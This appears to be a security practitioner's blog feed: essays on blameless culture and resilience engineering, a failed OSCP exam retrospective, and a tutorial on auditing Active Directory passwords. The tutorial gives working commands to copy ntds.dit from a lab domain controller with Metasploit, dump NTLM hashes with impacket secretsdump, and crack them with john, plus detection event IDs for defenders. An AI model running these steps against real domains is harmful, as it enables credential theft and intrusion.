Not seeking justice for fear of being blamed for or bullied about abuse
Not admitting mistakes for fear of appearing unintelligent (impostor syndrome anyone?) or being blamed for a failure

From a young age, I was taught that abuse could be my fault and was advised with a laundry list of things to do and not do to avoid it. When I was assaulted at a venue, I was kicked out for demanding something be done about the musician who assaulted me multple times. I was treated as a liability to the venue who was causing a scene, not as a victim seeking justice.

With that and future situations, it took years to realize “that was not okay, that was not my fault, and (maybe most importantly) I did not deserve that.” I hesitated to advocate for myself. I blamed myself for not speaking up or not fighting harder or whatever I convinced myself I could have done to change the outcomes. It wasn’t healthy and it didn’t help me to grow as a person.

Naming & Shaming

Victim blaming is despicable because it shames victims out of coming forward. It makes us believe that we won’t be believed or that instead of being received with support that we will be attacked by those to whom we appeal for assistance. Shame undermines justice.

Ultimately, I think that blame hurts because it’s just another vehicle for shame. When we seek to blame, we seek to find fault. The goal of blaming someone is to weaponize their shame, forcing them to change their behavior to avoid experiencing more shame. In information security, we talk about “naming and shaming” adversaries as a means of deterring them from future malicious activities. Okay, I can get behind that. I can get behind naming and shaming Nazis, too.

So why do we often default to similar approaches when addressing our teammates’ contributions to the systems we build, upgrade, and maintain together? This doesn’t make sense because those use cases are polar opposites. I don’t know who needs to hear this (yes, I do: it’s all of us 🙃), but we should not have adversarial relationships with our teammates! If we desire resilient systems, then we need to start by building cultures that are not formulated around the use of shame as a motivational tool (it’s more of a demotivational tool, right?).

Ask Questions Instead: Moving Beyond Shame-based Structures

To isolate human action as the cause or to start with human action as cause and to not go deeper than that leads one to de-prioritize engineering solutions and over-prioritize behavioral control.

From “People or systems? To blame is human. The fix is to engineer” by Richard Holden, Ph.D (link)

It’s 2020. From an application development perspective, we are fortunate to have a plethora of automation and plumbing tools available to help us continuously lint and compile and parse and test and deploy our way to production without introducing (or reintroducing) known badness into our complex applications and systems. We also have a body of knowledge in the areas of resilience and socio-technical systems upon which to lean.

If low-quality code keeps finding its way into production, then some questions to ask might be:

What improvements will be made to QA practices for the next delivery cycle?
Is QA getting the time and attention it deserves?
How might deploying more frequently affect the number of changes deployed?

Yes, people will sometimes write bad code. People make mistakes and that’s okay. Focus on making those mistakes less dangerous.

How about security awareness and users? Our users are an integral part of our systems. Sometimes we want to blame them for clicking the nasty link, installing the trojaned software, etc. Here are some questions we can ask instead:

Have we asked for feedback on our security awareness efforts (and incorporated it into future iterations)?
Have users been (effectively) trained about this particular scenario?
Have technical controls been implemented to address this attack vector?

Yep, folks will fall for phishing, too. Plan on people making mistakes!

We can learn from these types of failures and make our systems more resilient against them. The most important thing is that we resolve to embrace and learn from all of our failures. We should work toward a culture where we do not allow shame to impede our ability to frankly discuss what went well and what was an epic failure.

We cannot allow shame to undermine transparency while expecting good outcomes to magically happen. That means having hard conversations without ego and without shame in order to make meaningful progress. We must close the loop on our failures. In my opinion, this means that post-incident, there is a concrete list of improvements to the system that either prevent that failure entirely or reduce the risk associated with that type of failure and enhance the capability to detect and recover from it in the future. Resolve to do whatever you did to recover the system better/faster the next time or make it so that failure type is a thing of history.

Sometimes Humans Mess Up

Accountability is important. We can avoid defaulting to blaming people and still hold them to what we expect of them as teammates. I think it is possible to bring attention to failing to be accountable as long as these expectations are defined, agreed upon, and well-understood by everyone involved. If we operate within a culture of safety that supports and encourages these discussions, then we should be able to handle these types of situations gently and without structures based on shame. Here are some questions to ask:

What happened this day/week/month to prevent us from completing this function?
Do we need to rethink how we are assigning or breaking down work?
What can we do as a team to prevent this in the future?
Would it help to devote an hour as a team to complete this function while deadlines are tight/teammate is sick/etc.?

Note: Metrics help.

One thing each of us can do is work on how we react when our teammates allow themselves to be vulnerable. It can be really, really difficult to admit when we’ve made a mistake. When a teammate presents us with transparency to the point of vulnerability, we should thank them for this gift.

The Transparency-Killer

The primary issue with a focus on assigning blame is that we don’t address systems holistically when we focus on blaming people for failures in systems. Every time we choose to focus on the binary concept of who was right or wrong when faced with a failure or incident, we squander a valuable learning opportunity. In applications, for example, rather than asking questions about the people and technologies comprising the system, we tend to apply shame (via blame) to the human components and technology fixes to the technology components. Treating the humans as if they are separate from the system results in a weaker system. The system remains broken in spite of the technology fixes. That’s not continuous improvement.

A focus on blame erodes our sense of psychological safety, making us less likely to speak up when we discover an issue with the system or an error we’ve made. We ignore symptoms of systemic weakness and instead treat them as unrelated failures. Systemic issues take longer to be addressed (if they are at all). Morale suffers. We default to associating a face to a every incident that occurred—perhaps so we can know where to direct our inevitable emotional responses during times of stress (dumpster fires 🔥). Maybe blame is the path of least resistance. There’s a name next to the commit that broke everything, after all.

TLDR: We should default to interrogating our systems if we wish to move beyond the performance of weaponizing shame and toward addressing systemic issues. We must reject the toxic, shame-based approach if our goal is for systems to be safe, inclusive, and resilient.

➡️ CHALLENGE: the next time you encounter an issue that would have been previously handled by blaming a human, try asking some questions about the entire system instead.

* - See “stereotype threat.”

Enumerating SQL DB Columns with Burp Suite

Sun, 17 May 2020 00:00:00 +0000

I ran across this Gist I made awhile back detailing how, when you have a certain type of SQLi, it’s possible to use Burp Suite to enumerate columns in the database. I figured it doesn’t hurt to share it on the blog. :)

Thoughts on Resilience

Sat, 16 May 2020 00:00:00 +0000

Failover Conf: My Intro to Resilience Engineering

I attended the all-virtual Failover Conf a few weeks ago and spent the day learning a ton about resilience engineering concepts. The conference was very informative and a valuable introduction to resilience engineering. While many of the concepts were familiar to me both from my software engineering and security backgrounds, some concepts (especially those based in cognitive theory) were new to me. Resilience is a normal topic for me, as I regularly remind my customers of the importance of testing their backups and validating their disaster recovery plans. It’s normal for me to spend much of my day introducing folks to some of the worst possible scenarios that could happen to their critical business operations. In general, it’s easy to just never consider how long it would take to restore operations if the building we work in suddenly becomes unsafe to occupy or if an earthquake impedes access to the road out of town. We tend to avoid thinking about these things at all because they aren’t pleasant. It feels like we’re doing too much. We’re spending too time planning for what should never happen.

No One Remembers the Crisis Averted

Heidi Waterhouse stated that:

No one remembers the crisis averted.

When we do resilience very well (because resilience is something you do - I agree with J. Paul Reed on this!), the services we provide may degrade, but they hopefully degrade in such a way that minimally affects the users or systems relying on them. Ideally, services fail in a way that is totally undetectable to the consumers, gracefully failing to new instances with minimal or no downtime. This kind of graceful failure isn’t achievable without automation.

Automation

Much of the automation front-loading out there is “glue work.” I get the impression that some folks feel that glue work is a waste of time. “We could be implementing ✨features ✨.” To me, it’s an investment. We will be able to implement those features and all others more safely and efficiently if we do this work upfront. In addition to automation, thorough testing and accurate documentation can also contribute to efficient deployments yet are often ignored or don’t get nearly the time and attention they deserve. It is worth mentioning that adding automation isn’t magic and it does add to the complexity of the system. This means different failures than the types we knew about before we implemented the automation.

In a similar manner to how we don’t see a crisis that was averted, I suppose once automated deployments and recoveries are humming along, we don’t really notice the wasted time and headaches we’re avoiding. Amy Tobey mentioned in her talk that “glue work” is undervalued, yet so much work can’t happen without it. Whether it’s SecOps or DevOps, the glue is important. I think the glue might be the special sauce that some teams are missing. There’s nothing like that liberating feeling when you realize the vendor system which lacks an official integration to your SIEM has a usable (yes, API usability does matter!) REST API you can leverage to wrangle the data and get it into your SIEM.

Embracing Failure

Something that dawns on me as I write this is that it feels as if DevOps has a more forward-thinking view of the value of glue work, especially testing and automation. There are specific roles carved out to do this work. Time is set aside regularly to enhance the systems and processes that support how work is accomplished. I think that in the security space (more specifically security operations and incident response), we’re still learning how to enable faster feedback, better telemetry, and smoother incident response. I see a focus on learning from security incidents (or at least filling out required post-incident documentation) but less of a focus on reviewing failures that end up as near misses or taking a high level view of incidents over time to discover failure patterns or other details that only become apparent in the aggregate. As an industry, we’ve come a significant distance toward understanding what really enables us to do our jobs as defenders but I think we still have work to do toward valuing continuous improvement of our processes and systems, embracing experimentation, and learning from failure.

One of the tools for managing organizational trauma that Matt Stratton mentioned in his talk was using something like “Failure Fridays” or another vehicle for regularly-occurring planned failure injections. As a security person, I absolutely love this. Tabletop exercises are a fun, low-pressure way to build muscle memory but at some point we have to validate that the procedures outlined in our playbooks actually function in the real world. Lots of things can change between the time a playbook is written and the time it’s actually needed. Accurate, easy to follow documentation is a solid foundation. Amy mentioned this in her talk in the context of “cognitive capacity.” Incident response playbooks shouldn’t be written for folks who are at their best. Remember that a sleepy analyst might have to follow those procedures at 3 AM. Instructions should be clear and concise. They should not leave any opportunity for the responder to take a guess about what they mean during an incident.

Socio-technical Systems

Amy’s talk also opened my eyes to the concept of socio-technical systems and this idea made such perfect sense to me. People, processes, and technologies come together to affect how we actually deliver value from these systems! Amy makes the bold statement that root causes don’t really exist. We may need to use that language because it’s comfortable to us but typically what we refer to as the “root cause” of an outage is actually just the last thing to fail. Her stance on human error is similar. When we get to a place where one person pushing the wrong button can bring down a system, what really got us there? Is the button poorly designed? Is it 4 AM and the button pusher is responding to a call after being up late with a sick child? What’s really happening? The underlying issue is more likely to be a failure in process or design than a failure in the human. Heidi Waterhouse said the following in her talk and I tagged it in my notes as MOST important:

I don’t want to have default behaviors that put people in peril.

That statement hit me really hard. Heidi makes the extremely valid point that we need to practice both risk reduction and harm mitigation whenever we build systems. We should do all we can to reduce risk. Where we cannot, we must do our best to reduce the harm that will befall people if bad things happen. One thing we can do to fizzle a disaster into something less terrible is implement functions to prevent issues like runaway APIs or service outages from overloading or crashing our systems. Another capability might be automatic recovery so an engineer doesn’t have to get paged at 2 AM to restart a failed service but can instead review the details of the service failure and recovery in the morning. I love this solution because it helps to safeguard the availability of the service as well as the well-being of the human who is responsible for maintaining that service.

“Root Cause”

I mentioned “the last thing to fail.” In the context of defining disaster, Heidi says in her talk that we often hear “it was all going fine until that last thing.” Again, we may believe that we really found the “root cause.” Unless we dig deep and examine the whole socio-technical system, we are probably just going to be referring to the straw that broke the camel’s back. It might have been the last update to the application or an influx of traffic due to popularity. Whatever it is, we “fix” it. We fix that straw but the next straw is going to come along and topple the system again if we don’t address the underlying issues contributing to its fragility. A related bit of terminology I hadn’t heard: dark debt. It’s the technical debt that we take on for all the complex interconnections and dependencies of our systems. This kind of debt could, I imagine, be magnified significantly by a lack of documentation or transparency regarding system dependencies. We have to plan for outages and issues of all kinds and build our systems to flex under the weight of the unexpected, whether that is a major increase in traffic or the outage of an external API. Matt also mentioned that when failures do occur, we shouldn’t stop at blameless postmortems. The next step is to ensure that we are sharing postmortems across teams and generally discussing them. The storytelling is part of the value.

Adaptive Capacity

J. Paul Reed’s talk, “The Halo of Resilience Engineering,” delivered some great terminology and concepts, including adaptive capacity which was a new concept to me and naturally came up in multiple talks. Adaptive capacity is the ability to adapt to change. Where robustness describes characteristics that make a system resistant against known failures, resilience describes being able to deal with unknown failures. From what I understand, adaptive capacity would be the key metric when we want to measure resilience.

Closing Thoughts

Matt’s talk set the tone of the day for me because it got me thinking about how important people are within resilience. Before Amy’s talk, I didn’t have the language to describe some of these ideas such as socio-technical systems. Amy’s two reading recommendations were Field Guide to Understanding ‘Human Error’ by Sidney Dekker and the paper “How Complex Systems Fail.” (I just read the paper and it was short, sweet, and to the point and a great follow up to Failover Conf’s content.) A constant theme I heard in almost every talk was a subtle emphasis on setting expectations. This could take place in a number of areas:

People: We set expectations through common ground and the predictability of how we interact with our teammates. Communication norms, for example, are a critical part of the culture for an IR team.
Availability: We set expectations when we define our SLAs and define standards and goals for the services we provide. We try to be realistic with what we promise to deliver to our users.
Planning: We set expectations when we estimate and plan our upcoming work based on what we know we can achieve. We ensure that our adaptive capacity is always considered in work planning. We may be able to shed some tasks when cognitive load is impacted but we typically can’t drop what we’ve promised to our customers.

TLDR

Resilience is something you do. It’s not something you can buy and install on your network or in your apps (sorry!).
Although some failures can’t be predicted, plenty of them can. We should focus our energy on minimizing the harm that could occur when these known failures happen.
Encourage resilience early on in development and use patterns that handle failures such as kill switches and circuit breakers.
Build flexible systems that are capable of adapting in response to failure/traffic spikes/etc. with minimal interruptions to service consumers.
Being prepared for disasters and having solid recovery processes can lower deployment risk.
Predictability is important. This includes inter-predictability, or the ability of team members to understand what the others are likely to do.
Our ability to work together as a team can directly impact our ability to recover from an incident.

From Heidi’s talk, this was my most important takeaway and possibly the most important message I took away from the conference:

Failure is inevitable. Disaster is not.

We can’t prevent every failure but we can prevent the types of failures we know about from turning into out of control dumpster fires when they occur.

Resources:

📚 Here are some resources I am reading, have read, or plan to read to learn more about resilience engineering:

How Complex Systems Fail
Ten Challenges for Making Automation a “Team Player” in Joint Human-Agent Activity
Common Ground and Coordination in Joint Activity
David Woods CSEL Resilience Short Course
Field Guide to Understanding ‘Human Error,’ by Sidney Dekker

Failing the OSCP Challenge

Thu, 02 Apr 2020 00:00:00 +0000

I’ve documented my first attempt at the OSCP exam.

(Failing) The Challenge

I was a ball of nervous energy for the whole exam and for several days before. Although I had initially planned to sleep, as it drew closer to the day, reality hit me. I realized I wouldn’t be able to sleep for 5 hours if I knew I had to get up and continue the exam.

That day, I felt positive coming into the exam although I also felt very tense. I did acknowledge that I would probably fail and tried to approach the challenge as a learning experience. I didn’t want to be overly disappointed or nervous about the outcome.

My exam began at 09:00 on a Saturday. I started with network reconnaissance against all the targets. As the service results came in, I began to poke at them manually and also enter scan information into Cherrytree.

I spent about 1.5 hours going over the recon scans and copying relevant information into my notes for each host. I conducted a bit of research into the service versions that were running, noting any high level vulnerability hypotheses where applicable.

I switched gears and worked on the custom buffer overflow exploit. I planned to work on the buffer overflow exploit first since I figured it would take the longest and give me the most trouble. Thankfully, I took detailed notes when working through the examples from the course and had those to review for the steps. I took a couple of 20 minute breaks during this time and an hour break around 18:00 for dinner. I think I should have gone and walked around outside more but it was rainy and I was focused on the exam.

On the Board

Around 22:00, I got my first flag!

I did a dance when I tested my exploit and it worked. My partner heard me celebrating and came to celebrate. The dog ran in after him, causing a brief commotion! I successfully ran the exploit and got the flag!!!

It would be the only one.

Nothing

I spent the next 9 hours bashing my head against the 4 other machines in a caffeine-fueled trainwreck of a time which included:

Lots of failed exploit attempts
A service whose version I tried to derive from changelog notes and a JavaScript library I found running, and even then I could only estimate to a range of versions
A box full of rabbit holes in which I never found even a hint of a valid vulnerability
A service I later discovered that I had completely missed in the scan output

By 06:00 I was wishing I had slept but there was no point in trying to do that. I had to press on and try to get more points. I tried to use my Metasploit exploit and Meterpreter payload as a last ditch attempt…but it was too late. My exam was complete. My exhausted brain didn’t even realize what time my exam ended.

The Aftermath

I slept until 16:00 on Sunday. I worked on my report later that night but I eventually succumbed to exhaustion. There’s nothing like staying up for 26 hours straight to mess up your schedule, brain function, etc. temporarily.

I tried to submit the report Monday morning but ultimately couldn’t get it completed until about 1.5 hours past the deadline. The good news is that I navigated most of the potential issues I’ll encounter with my note-taking and report generation method the next time around. I have a nice template ready to go in addition to organized notes about the buffer overflow exploit I completed.

Retrospective

Two things that became completely obvious to me almost immediately after the exam was over:

I should have been running the recon tools regularly.

At times, I was looking at the hosts’ network services from a point in time rather than getting the most up to date information. I kept asking myself “What am I missing?” Perhaps I was missing up to date scan information! 🙃

For my next attempt, I’ll use a cron job to automate recon activities and keep my scans updated every 2-4 hours. I might automatically diff the current and previous nmap scan XML with ndiff in order to highlight any differences.

I FORGOT PERSISTENCE/POST-EXPLOITATION.

I had blinders on and I’m not sure why. Nerves? Exhaustion? I was stuck in a cycle of looking at boxes in their own vacuums rather than as systems I could potentially leverage to attack the others. I could maybe have used the buffer overflow system as a pivot point to potentially access additional services. I could have spent time with post-exploitation information gathering, but I didn’t. I didn’t even look. It’s been several days and I am still incredibly frustrated with myself about this oversight. I won’t forget next time.

Next time, I’ll proceed as if I only have one shot to run my exploit and establish a foothold in the network and loot and pillage the hell out of it.

An insight that came later as I was struggling to write my report Sunday night (still so tired):

I should have enforced several (2-5) hours of downtime.

Even if I could not manage to sleep, I should have allowed myself some quiet, restful time. I was a ball of anxious, nervous energy NONSTOP. It didn’t feel healthy and I doubt it helped me to think clearly.

Unfinished Business

The OSCP exam challenge was definitely a learning opportunity. I surprised myself by getting the custom buffer overflow exploit. I know what some of my main weaknesses are: privilege escalation, buffer overflows, and enumeration (which became obvious with this attempt). I’m excited to give it another go in May.

In the meantime, it’s back to the lab for me! Clearly I need to spend a bit more time on my methodology (and all other things)! ⚡️💻✨

Check out the current version of some resources I’ve been compiling that may help you on your offensive security journey, if you’re so inclined: alexiasa/oscp-omnibus

AD Password Audit with Metasploit, Impacket, and Johnny

Sat, 21 Sep 2019 00:00:00 +0000

This tutorial is geared toward those who are running these commands on a *nix type system. These steps were conducted on a system running Parrot Security OS. Many of the tools used come stock on security-focused Linux distributions like Kali Linux and Parrot OS.

Prerequisites

Get domain admin credentials

This just isn’t possible without them!

Install metasploit (if you don’t have it already)

Nightly installers are available here.

Grab impacket

Impacket will be used for dumping hashes from ntds.dit and the SYSTEM hive.

git clone https://github.com/SecureAuthCorp/impacket.git

Configure johnny/john

johnny will be used to crack hashes. It’s a GUI for john the ripper–Jumbo john in this case.

Add custom wordlist at /usr/share/wordlists/custom/top-10000.lst (or wherever works since root privileges are needed to add files to /usr/share/wordlists)

cd /usr/share/wordlists
sudo mkdir custom && cd custom/
sudo wget -O top-10000.lst https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt

Do check out the great collection of password lists at the SecLists project!

Lift ntds.dit using Metasploit

Definition from servergeeks:

Ntds.dit is the main AD database file. NTDS stands for NT Directory Services. The DIT stands for Directory Information Tree. The Ntds.dit file on a particular domain controller contains all naming contexts hosted by that domain controller, including the Configuration and Schema naming contexts. A Global Catalog server stores the partial naming context replicas in the Ntds.dit right along with the full Domain naming context for its domain.

The psexec_ntdsgrab module will be used to create Volume Shadow Copies of the ntds.dit and SYSTEM hive and grab them from the domain controller. It requires domain administrator credentials.

Select module

Type msfconsole at a shell prompt to launch Metasploit.

Type use <module name> to select a module. In this case, it’s the psexec_ntdsgrab module:

msf5 > use auxiliary/admin/smb/psexec_ntdsgrab

Configure module-level options

Type options to view the configuration options available for the module.

Use set <option> <value> to configure the target host and credentials:

msf5 auxiliary(admin/smb/psexec_ntdsgrab) > set RHOSTS 172.16.164.228
RHOSTS => 172.16.164.228
msf5 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBUser fancyadmin
SMBUser => fancyadmin
msf5 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBPass thebestpasswordever000000)
SMBPass => thebestpasswordever000000)

There are other configuration options available for the module; however, they weren’t needed to conduct this password audit.

Run the module

It took multiple runs to get ntds.dit and SYSTEM hive downloaded. There seems to be a timing issue related to when the Volume Shadow Copy Service starts. Running the module, waiting about 2 minutes, then running it again seemed to work. In a tiny test domain with just a handful of users, the download of the files took very little time.

Take note of the paths to the .dit and .bin files.

msf5 auxiliary(admin/smb/psexec_ntdsgrab) > run
[*] Running module against 172.16.164.228

[*] 172.16.164.228:445 - Checking if a Volume Shadow Copy exists already.
[+] 172.16.164.228:445 - Service start timed out, OK if running a command or non-service executable...
[-] 172.16.164.228:445 - Unable to read file \WINDOWS\Temp\jNpypBbHUMXmZDug.txt. Rex::Proto::SMB::Exceptions::ErrorCode: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=45 WordCount=0).
[-] 172.16.164.228:445 - Unable to determine if VSS is enabled: undefined method `each_line' for nil:NilClass
[*] 172.16.164.228:445 - Creating Volume Shadow Copy
[+] 172.16.164.228:445 - Service start timed out, OK if running a command or non-service executable...
[+] 172.16.164.228:445 - Volume Shadow Copy created on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
[+] 172.16.164.228:445 - Service start timed out, OK if running a command or non-service executable...
[*] 172.16.164.228:445 - Checking if NTDS.dit was copied.
[+] 172.16.164.228:445 - Service start timed out, OK if running a command or non-service executable...
[+] 172.16.164.228:445 - Service start timed out, OK if running a command or non-service executable...
[*] 172.16.164.228:445 - Downloading ntds.dit file
[+] 172.16.164.228:445 - ntds.dit stored at /home/lab/.msf4/loot/[blah]_psexec.ntdsgrab._104930.dit
[*] 172.16.164.228:445 - Downloading SYSTEM hive file
[+] 172.16.164.228:445 - SYSTEM hive stored at /home/lab/.msf4/loot/[blah]_psexec.ntdsgrab._438132.bin
[*] 172.16.164.228:445 - Executing cleanup...
[+] 172.16.164.228:445 - Cleanup was successful
[*] Auxiliary module execution completed

Extract hashes from ntds

Impacket’s secretsdump.py script is used to extract hashes from the ntds.dit and system hive.

./impacket/examples/secretsdump.py -ntds /home/lab/.msf4/loot/[blah]_psexec.ntdsgrab._104930.dit -system /home/lab/.msf4/loot/[blah]_psexec.ntdsgrab._438132.bin -hashes lmhash:nthash LOCAL -outputfile ntlm_hashes

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Target system bootKey: 0x34c74cdea667fafe83b8a6512e3c9ab9
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d1b6549674a9acadb2545e7eaf24c645
[*] Reading and decrypting hashes from /home/lab/.msf4/loot/[blah]_psexec.ntdsgrab._104930.dit
**** here it rains hashes but the real goods are in ntlm_hashes.ntds! ***

Crack Hashes with johnny

NOTE: this might be slightly different depending which version of the john binary is installed so it might not hurt to do a which john or a search of the file system to determine which version is installed. The jumbo john executable ships with Parrot OS, so instructions will reference that where relevant. It really only matters for the rules.

Type johnny at a shell prompt.

Select the Settings page using the menu on the left. Populate the john the Ripper executable field if it isn’t already populated. To use the stock jumbo john executable that’s included with Parrot OS, add /usr/sbin/john.

Use the menu options File > Open Password File (PASSWD format) and select the ntlm_hashes.ntds file that was just created by impacket.

Select Options page using the menu on the left. Select the Wordlist tab and select the path to the custom wordlist downloaded earlier. Check the Use rules box and type Jumbo. Select NT in the Current hash format dropdown.

Click Start new attack from the menu at the top.

The cracked passwords may not display on the Passwords page. They will, however, show up on the Console log page which shows all the command line options that were provided to the john executable and all the output to stdout. This is also handy because the john command and all the arguments in the log output make it easier to later conduct the same password cracking activities from a command shell.

Null hashes?

The hashes aad3b435b51404eeaad3b435b51404ee (LM) and 31d6cfe0d16ae931b73c59d7e0c089c0 (NTLM) represent a null password. These may occur if the account was disabled. The null LM hash is usually encountered in modern Windows environments as LM (Lan Manager) authentication is disabled by default because it’s insecure and outdated!

Detection Notes

Interesting events observed with ntdsgrab usage:

4672 - A special logon occurs on the domain controller with the credentials being used by the ntdsgrab session.

7036 - The Microsoft Software Shadow Copy Provider service launches so ntdsgrab can do its thing.

7045 - The Service File Name is interesting and shows how ntdsgrab dumps ntds.dit to a temporary location.

7045 - The Service File Name is interesting and shows how ntdsgrab saves the SYSTEM hive to a temporary location.

Conclusion

If you’ve read this far, you’ve got the know how to conduct an AD password audit! If you follow these steps in your lab, would you please reach out and let me know how they work for you? Twitter is great for that. I’d really appreciate the feedback.

Happy hacking!

References:

Active Directory files and their functions

Cracking Domain Passwords from NTDS.dit with Metasploit and john

Extracting and Cracking NTDS.dit

Cracking Windows NTLM hashes with Crackq (archive.org)